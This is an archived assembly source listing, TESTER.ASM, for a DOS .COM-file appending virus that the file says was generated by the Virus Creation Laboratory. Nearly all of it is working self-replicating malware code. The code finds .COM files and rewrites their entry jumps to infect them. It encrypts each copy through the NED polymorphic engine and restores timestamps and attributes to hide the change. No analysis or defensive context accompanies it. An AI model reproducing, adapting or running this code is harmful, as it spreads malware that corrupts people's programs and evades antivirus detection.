home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / NED.ZIP / TESTER.ASM < prev    next >
Encoding:
Assembly Source File  |  1992-10-18  |  5.9 KB  |  227 lines

  1. ; TESTER.ASM
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Nowhere Man
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    0            ; We're not encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public 'code'
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. extrn        ned_end:abs
  14. extrn        nuke_enc_dev:near
  15.  
  16. main        proc    near
  17.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  18. start:        call    find_offset        ; Like a PUSH IP
  19. find_offset:    pop    bp            ; BP holds old IP
  20.         sub    bp,offset find_offset    ; Adjust for length of host
  21.  
  22.         lea    si,[bp + buffer]    ; SI points to original start
  23.         mov    di,0100h        ; Push 0100h on to stack for
  24.         push    di            ; return to main program
  25.         movsw                ; Copy the first two bytes
  26.         movsb                ; Copy the third byte
  27.  
  28.         mov    di,bp            ; DI points to start of virus
  29.  
  30.         mov    bp,sp            ; BP points to stack
  31.         sub    sp,128            ; Allocate 128 bytes on stack
  32.  
  33.         mov    ah,02Fh            ; DOS get DTA function
  34.         int    021h
  35.         push    bx            ; Save old DTA address on stack
  36.  
  37.         mov    ah,01Ah            ; DOS set DTA function
  38.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  39.         int    021h
  40.  
  41.         call    search_files        ; Find and infect a file
  42.  
  43.  
  44. ;        cmp    byte ptr [set_carry],0
  45. ;        jne    com_end
  46.  
  47.         mov    ah,9
  48.         lea    dx,[di + data00]
  49.         int    021h
  50.  
  51. com_end:    pop    dx            ; DX holds original DTA address
  52.         mov    ah,01Ah            ; DOS set DTA function
  53.         int    021h
  54.  
  55.         mov    sp,bp            ; Deallocate local buffer
  56.  
  57.         xor    ax,ax            ;
  58.         mov    bx,ax            ;
  59.         mov    cx,ax            ;
  60.         mov    dx,ax            ; Empty out the registers
  61.         mov    si,ax            ;
  62.         mov    di,ax            ;
  63.         mov    bp,ax            ;
  64.  
  65.         ret                ; Return to original program
  66.  
  67. data00        db    "Test virus successful!",13,10,"$"
  68. main        endp
  69.  
  70. search_files    proc    near
  71.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  72.         call    find_files        ; Try to infect a file
  73. done_searching:    ret                ; Return to caller
  74.  
  75. com_mask    db    "*.COM",0        ; Mask for all .COM files
  76. search_files    endp
  77.  
  78. find_files    proc    near
  79.         push    bp            ; Save BP
  80.  
  81.         mov    ah,02Fh            ; DOS get DTA function
  82.         int    021h
  83.         push    bx            ; Save old DTA address
  84.  
  85.         mov    bp,sp            ; BP points to local buffer
  86.         sub    sp,128            ; Allocate 128 bytes on stack
  87.  
  88.         push    dx            ; Save file mask
  89.         mov    ah,01Ah            ; DOS set DTA function
  90.         lea    dx,[bp - 128]        ; DX points to buffer
  91.         int    021h
  92.  
  93.         mov    ah,04Eh            ; DOS find first file function
  94.         mov    cx,00100111b        ; CX holds all file attributes
  95.         pop    dx            ; Restore file mask
  96. find_a_file:    int    021h
  97.         jc    done_finding        ; Exit if no files found
  98.         call    infect_file        ; Infect the file!
  99.         jnc    done_finding        ; Exit if no error
  100.         mov    ah,04Fh            ; DOS find next file function
  101.         jmp    short find_a_file    ; Try finding another file
  102.  
  103. done_finding:    mov    sp,bp            ; Restore old stack frame
  104.         mov    ah,01Ah            ; DOS set DTA function
  105.         pop    dx            ; Retrieve old DTA address
  106.         int    021h
  107.  
  108.         pop    bp            ; Restore BP
  109.         ret                ; Return to caller
  110. find_files    endp
  111.  
  112. infect_file    proc    near
  113.         mov    ah,02Fh            ; DOS get DTA address function
  114.         int    021h
  115.         mov    si,bx            ; SI points to the DTA
  116.  
  117.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  118.  
  119.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  120.         jbe    size_ok            ; If it's small enough continue
  121.         jmp    infection_done        ; Otherwise exit
  122.  
  123. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  124.         lea    dx,[si + 01Eh]        ; DX points to file name
  125.         int    021h
  126.         xchg    bx,ax            ; BX holds file handle
  127.  
  128.         mov    ah,03Fh            ; DOS read from file function
  129.         mov    cx,3            ; CX holds bytes to read (3)
  130.         lea    dx,[di + buffer]    ; DX points to buffer
  131.         int    021h
  132.  
  133.         mov    ax,04202h        ; DOS file seek function, EOF
  134.         cwd                ; Zero DX _ Zero bytes from end
  135.         mov    cx,dx            ; Zero CX /
  136.         int    021h
  137.  
  138.         xchg    dx,ax            ; Faster than a PUSH AX
  139.         mov    ah,03Eh            ; DOS close file function
  140.         int    021h
  141.         xchg    dx,ax            ; Faster than a POP AX
  142.  
  143.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  144.         cmp    byte ptr [di + buffer],0E9h  ; Is there a JMP yet?
  145.         je    infection_done        ; If equal then exit
  146.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  147.         add    ax,finish - start    ; Re-adjust to make the jump
  148.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  149.  
  150.         mov    ax,04301h        ; DOS set file attrib. function
  151.         xor    cx,cx            ; Clear all attributes
  152.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  153.         int    021h
  154.  
  155.         mov    ax,03D02h        ; DOS open file function, r/w
  156.         int    021h
  157.         xchg    bx,ax            ; BX holds file handle
  158.  
  159.         mov    ah,040h            ; DOS write to file function
  160.         mov    cx,3            ; CX holds bytes to write (3)
  161.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  162.         int    021h
  163.  
  164.         mov    ax,04202h        ; DOS file seek function, EOF
  165.         cwd                ; Zero DX _ Zero bytes from end
  166.         mov    cx,dx            ; Zero CX /
  167.         int    021h
  168.  
  169. ; Arguments:    AX = offset of buffer to hold data
  170. ;        BX = offset of code start
  171. ;        CX = offset of the virus in memory (next time around!)
  172. ;        DX = length of code to copy and encrypt
  173. ;        SI = options:
  174. ;            bit 0:    dummy instructions
  175. ;            bit 1:    MOV variance
  176. ;            bit 2:  ADD/SUB substitution
  177. ;            bit 3:  garbage code
  178. ;            bit 4:  don't assume DS = CS
  179. ;            bits 5-15:  reserved
  180.  
  181.         push    bx
  182.         push    si
  183.  
  184.         xchg    cx,ax
  185.         add    cx,0100h
  186.         mov    dx,finish - start
  187.         lea    ax,[di + ned_end]
  188.         lea    bx,[di + start]
  189.         mov    si,0000000000001111b
  190.         call    nuke_enc_dev
  191.  
  192.         pop    si
  193.         pop    bx
  194.  
  195.         xchg    cx,ax
  196.         mov    ah,040h
  197.         lea    dx,[di + ned_end]
  198.         int    021h
  199.  
  200.         mov    ax,05701h        ; DOS set file time function
  201.         mov    cx,[si + 016h]        ; CX holds old file time
  202.         mov    dx,[si + 018h]        ; DX holds old file date
  203.         int    021h
  204.  
  205.         mov    ah,03Eh            ; DOS close file function
  206.         int    021h
  207.  
  208.         mov    ax,04301h        ; DOS set file attrib. function
  209.         xor    ch,ch            ; Clear CH for file attribute
  210.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  211.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  212.         int    021h
  213.  
  214. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  215.         ret                ; Return to caller
  216.  
  217. set_carry    db    ?            ; Set-carry-on-exit flag
  218. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  219. new_jump    db    0E9h,?,?        ; New jump to virus
  220. infect_file    endp
  221.  
  222. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  223.  
  224. finish        label    near
  225.  
  226. code        ends
  227.         end    main